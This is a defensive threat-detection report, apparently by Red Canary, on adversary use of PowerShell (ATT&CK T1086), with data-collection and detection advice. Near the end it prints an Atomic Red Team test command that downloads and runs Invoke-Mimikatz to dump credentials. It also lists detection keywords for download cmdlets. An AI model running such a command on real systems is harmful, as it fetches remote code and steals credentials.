Technique T1086


A core component of many effective attack toolkits, PowerShell is ubiquitous, versatile, and as popular among administrators—who use it for remote system management—as it is among adversaries.


Overall rank


Organizations affected


Confirmed threats


Malicious PowerShell affected a slightly smaller number of customers in 2019 than in 2018. Over the same time period, PowerShell accounted for a slightly higher percentage of total threats.

Why do adversaries use PowerShell?

Installed by default on nearly every Windows system in the world, PowerShell is a dynamic command-line shell and scripting language that IT teams routinely use to conduct remote system administration. Not only is PowerShell activity expected in most Windows environments; system administrators often use the utility in unique and creative ways. As a result, it can be difficult to reliably differentiate legitimate from malicious PowerShell.

Furthermore, administrators and adversaries use many of the same PowerShell features, whether they’re remotely configuring Windows machines and enforcing patch management policies or conducting reconnaissance, running malicious scripts, and installing binaries.

On a more technical level, PowerShell can execute code directly in memory, often using obfuscated commands and reflective injection, making it more difficult to observe and detect. By default, the tool enjoys highly privileged access to the Windows operating system—through application programming interfaces (API), processes such as Windows Management Instrumentation (WMI), and the .NET framework, to name a few.

While newer versions of PowerShell (starting with version 3) offer robust logging capabilities that are helpful for observation and detection, version two and prior remain widely used and lack even basic logging functionalities. We have yet to see any significant malicious use of PowerShell on non-Windows systems, but it’s worth noting that the tool is cross-platform and open source.

It’s ease of use and platform availability contribute to PowerShell’s inclusion in countless red team tools and attack simulation platforms, including:

  • PowerShell Empire
  • PowerSploit
  • Invoke-Mimikatz
  • Metasploit
  • Atomic Red Team
  • Cobalt Strike

How do adversaries use PowerShell?

PowerShell is highly utilitarian, offering an adversary far more use cases than we can examine in this report. It’s most commonly used to remotely execute scripts and payloads. We regularly see adversaries leveraging embedded macros to launch PowerShell from Office documents—a set of behaviors that we map to both the PowerShell and Spearphishing Attachment (T1193) techniques.

Adversaries also use PowerShell to:

  • Launch MeterPreter sessions
  • Inject into processes
  • Bypass execution policy
  • Execute code filelessly, entirely in CLI to avoid writing scripts to disk
  • Store code in the Windows Registry to avoid writing scripts to disk
  • Move laterally and deploy malware rapidly with other tools such as WMI

Emerging tactics

Recent iterations of Qbot have been using PowerShell in a particularly novel way: executing PowerShell as an autorun (to avoid obvious binary-based detection) before masquerading as a Windows Update Task that loads the binary as an environmental variable.

Additional novel uses include:

  • Bypass Antimalware Scan Interface (ASMI), disable Script Block Logging, and manipulate Windows Defender settings
  • Reflectively load code and evade defensive measures
  • Persistently execute malware without directly referencing the binary

Sighted with

We often detect PowerShell used in conjunction with Scripting (T1064). The prevalence of threat detections including both PowerShell and Scripting activity is due primarily to the popularity of living-off-the-land techniques. The co-occurrence of PowerShell and Scripting manifests in many ways, but one good example would be an instance where PowerShell downloads a string of JavaScript from the internet and then leverages wscript.exe to run it.

The following malware variants have used PowerShell and Windows Script Hosts in their initial infection routines:

  • TrickBot
  • Qbot
  • Emotet
  • Dridex
  • Kovter

Other common pairings include Spearphishing Attachment (T1193), likely due to phishing campaigns in which malicious macros launch PowerShell, and Deobfuscate/Decode Files or Information (T1140) in cases where PowerShell commands are obfuscated.



MITRE’s data sources

  • PowerShell logs
  • Loaded DLLs
  • DLL monitoring
  • Windows Registry
  • File monitoring
  • Process monitoring
  • Process command-line parameters

Collection requirements

Beyond those referenced by ATT&CK, security teams should consider collecting information from Microsoft’s Antimalware Scan Interface (AMSI), Sysmon, and ScriptBlock logging.

Unfortunately, there is no single data source that provides a holistic way to reliably observe and detect PowerShell in all of its varied forms. AMSI is very effective at detecting malicious uses of PowerShell, but it can produce high volumes of data that lack context if you don’t have some type of event tracing enabled. ScriptBlock logging provides a tremendous level of visibility into the PowerShell activity it logs, but it is not able to record PowerShell that is injected directly into memory.

Adding to this confusion, some versions of certain EDR platforms are able to collect directly injected PowerShell and others are not. Ideally, security teams can run AMSI to alert on what Microsoft deems to be malicious PowerShell, use ScriptBlock logging to gain visibility into some uses of PowerShell, and then leverage telemetry from a capable EDR platform to gain visibility into in-memory use of PowerShell. The added benefit of having AMSI running in your environment is that it provides visibility into JavaScript, WScript, CScript, VBScript, VBA Macros, and User Account Control (UAC).

Detection suggestions

Once you’re collecting the logs necessary to observe malicious instances of PowerShell, you can begin looking for process interactions and other artifacts that will reliably alert your security team to anomalous and potentially malicious behaviors. As a caveat, many of these suggestions are environment-dependent and will vary in effectiveness from one organization to another.

A good place to start is a review of encoded commands. Not all encoded commands are malicious, but most malicious commands are encoded. Looking for encoded or obfuscated command lines will consistently provide value when searching for malicious activity. While this may be noisy in some environments, you’ll want to consider looking for:

  • All variations of the -encodedcommand switch. (-e, -en, -enc, /en, etc…)
  • Strings such as Base64
  • Use of obfuscation characters, such as ^

Weeding out false positives

To combat the noise, begin whitelisting common encoded commands observed in your environment related to known good applications and approved IT activity. Constant tuning of your detection criteria improves the fidelity of alerts, which saves analysis time and reduces alert fatigue in your SOC.

It may be helpful to monitor all scheduled tasks that were created using PowerShell across your environment. If you are able to filter certain command lines, then it’s worthwhile to look out for any containing URLs. The following alert ideas will reliably find malicious PowerShell, but they might also generate a lot of noise:

  • Strings such as http or parsing command lines for invoke-webrequest, iwr, downloadString, cURL, and wget, to name a handful of options
  • Commands leveraging .NET for modules such as System.Net.WebRequest

From an EDR perspective, tracking process ancestry is another good PowerShell detection strategy. Malicious PowerShell often stems from an unusual parent process, such as Microsoft Office applications such as Word or Excel, as is common in macro-laden phishing attacks.


Getting Started With Atomic Red Team

Start testing your defenses against Process Injection using Atomic Red Team—an open source testing framework of small, highly portable detection tests mapped to MITRE ATT&CK.

Getting started

View Atomic tests for T1086: PowerShell. In most environments, these should be sufficient to generate a useful signal for defenders.

Run this test on a Windows system using PowerShell:
powershell.exe "IEX (New-Object Net.WebClient).DownloadString(''); Invoke-Mimikatz -DumpCreds"

Caveat: you may have to disable antivirus to run this test. 

Useful telemetry will include:
Data source Telemetry
Data source :

Process monitoring



Data source :

Process command line


“Invoke-Mimikatz”, “DumpCreds”, “WebClient”, use of invoke expression “IEX”, and the presence of a URL.

Data source :

Network connection


to “”

Review and repeat

Now that you have executed one or several common tests and checked for the expected results, it’s useful to answer some immediate questions:

  • Were any of your actions detected?
  • Were any of your actions blocked or prevented
  • Were your actions visible in logs or other defensive telemetry?

Repeat this process, performing additional tests related to this technique. You can also create and contribute tests of your own.

Shane Welcher
Detection Engineer
The detection strategies in this section were brought to you by Shane Welcher! Shane has a wide range of security experience: data analysis, forensics, debugging malware, penetration testing, and network and system administration. He is passionate about open source projects and was the highest community contributor to the Atomic Red Team GitHub project before joining Red Canary.
The detection strategies in this section were brought to you by Shane Welcher! Shane has a wide range of security experience: data analysis, forensics, debugging malware, penetration testing, and network and system administration. He is passionate about open source projects and was the highest community contributor to the Atomic Red Team GitHub project before joining Red Canary.